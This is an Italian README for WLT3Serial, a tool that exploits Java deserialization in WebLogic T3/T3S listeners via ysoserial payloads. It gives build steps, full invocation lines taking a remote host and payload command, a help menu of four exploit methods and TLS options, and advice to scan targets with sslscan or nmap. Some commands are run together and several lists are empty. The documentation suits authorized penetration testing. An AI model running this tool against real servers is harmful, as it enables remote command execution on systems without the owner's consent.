
Exploit di deserializzazione basato su Java nativo per i listener T3 (e T3S) di WebLogic.
Exploit di deserializzazione nativo basato su Java per i listener T3 (e T3S) di WebLogic (come descritto QUI). Richiede le dipendenze di terze parti ysoserial e wlthint3client.
Richiede Oracle Java 7 o 8. Non è stato testato con altri fornitori Java (come OpenJDK o IBM JRE), quindi non prometto supporto per questi. Può probabilmente essere compilato con Java 9 o 10, ma non prometto supporto per questi.
WLT3Serial viene compilato tramite il sistema di automazione della compilazione Gradle. Si dovrebbe usare Gradle 4 per la compilazione, sebbene altre versioni siano state parzialmente testate (vedi sezione Sviluppo).
Dipendenze di terze parti:
Procedura:
git clone https://github.com/Bort-Millipede/WLT3Serial.gitgradle clean preparegradle build -x testRichiede Oracle Java 7 o 8. Non è stato testato con altri fornitori Java (come OpenJDK o IBM JRE), quindi non prometto supporto per questi. Può probabilmente essere utilizzato con Java 9 o 10, ma non prometto supporto per questi.
Se si utilizzano i metodi di sfruttamento Property (predefinito), Bind o WLBind, WLT3Serial deve essere eseguito come segue (nota il valore del parametro java '-cp'):
java -cp /path/to/ysoserial.jar:/path/to/wlthint3client.jar:/path/to/WLT3Serial-[VERSION].jar bort.millipede.wlt3.WLT3Serial [OPTIONS] REMOTE_HOST REMOTE_PORT PAYLOAD_TYPE PAYLOAD_CMDjava -cp \path\to\ysoserial.jar;\path\to\wlthint3client.jar;\path\to\WLT3Serial-[VERSION].jar bort.millipede.wlt3.WLT3Serial [OPTIONS] REMOTE_HOST REMOTE_PORT PAYLOAD_TYPE PAYLOAD_CMDSe si utilizza il metodo di sfruttamento CustomClass, WLT3Serial deve essere eseguito come segue (nota il valore del parametro java '-cp'):
java -cp /path/to/ysoserial.jar:/path/to/WLT3Serial-[VERSION].jar:/path/to/wlthint3client.jar bort.millipede.wlt3.WLT3Serial [OPTIONS] REMOTE_HOST REMOTE_PORT PAYLOAD_TYPE PAYLOAD_CMDjava -cp \path\to\ysoserial.jar;\path\to\WLT3Serial-[VERSION].jar;\path\to\wlthint3client.jar bort.millipede.wlt3.WLT3Serial [OPTIONS] REMOTE_HOST REMOTE_PORT PAYLOAD_TYPE PAYLOAD_CMDDi seguito è riportato il menu di aiuto integrato:
Usage: WLT3Serial [OPTIONS] REMOTE_HOST REMOTE_PORT PAYLOAD_TYPE PAYLOAD_CMD
Options:
--help print usage (you're lookin at it)
--verbose Verbose output (full thrown exception output; Disabled by default)
--method=EXPLOIT_METHOD Exploit Method for delivering generated ysoserial payload
Exploit Methods:
Property Send ysoserial payload as connection environment property value (Default; via javax.naming.Context.lookup(), variation of ysoserial.exploit.RMIRegistryExploit)
Bind Send ysoserial payload as object to bind to name (via javax.naming.Context.bind(), similar to ysoserial.exploit.RMIRegistryExploit)
WLBind Send ysoserial payload as WebLogic RMI object to bind to name (via weblogic.rmi.Naming.bind(), similar to ysoserial.exploit.RMIRegistryExploit)
CustomClass Send ysoserial payload during T3/T3S connection initialization (via custom weblogic.rjvm.ClassTableEntry class, similar to JavaUnserializeExploits weblogic.py)
--t3s[=PROTOCOL] Use T3S (transport-encrypted) connection (Disabled by default)
Protocols:
TLSv1.2
TLSv1.1
TLSv1 (Default)
SSLv3
SSLv2 (SSLv2Hello handshake only, then fallback to SSLv3 for communication: this is an Oracle Java limitation, not a WLT3Serial limitation)
Available Payload Types (WebLogic is usually vulnerable to "CommonsCollectionsX" and "JRMPClientX" types):
(available payloads listed here)
I metodi Property, Bind e WLBind sono tutti molto simili. Ciò al punto che se un sistema target non può essere sfruttato utilizzando uno di questi metodi, probabilmente non può essere sfruttato utilizzando nessuno di essi. Il metodo CustomClass è completamente diverso dagli altri metodi.
Si consiglia all'utente di eseguire una scansione del servizio target con sslscan o lo script nmap ssl-enum-ciphers per scoprire quali protocolli sono supportati. In questo modo, l'utente può ottimizzare l'opzione --t3s quando esegue WLT3Serial.
Nel tentativo di migliorare gli exploit JavaUnserializeExploits weblogic.py e loubia, WLT3Serial è stato sviluppato in Java utilizzando le seguenti risorse per connettersi ai servizi T3/T3S di WebLogic:
È stata posta enfasi sulla gestione delle connessioni T3 in modo nativo in Java, nonché su una corretta gestione degli errori per fornire un output dei comandi utile all'utente.
WLT3Serial è stato sviluppato utilizzando le seguenti versioni software:
I test in tempo reale durante lo sviluppo sono stati condotti contro le seguenti versioni di WebLogic Server:
Gli sviluppatori forniscono il software gratuitamente senza garanzia e non si assumono alcuna responsabilità per eventuali danni causati ai sistemi dall'uso del software. È responsabilità dell'utente rispettare tutte le leggi locali, statali e federali durante l'utilizzo del software.
(C) 2017, 2018 Jeffrey Cap (Bort_Millipede)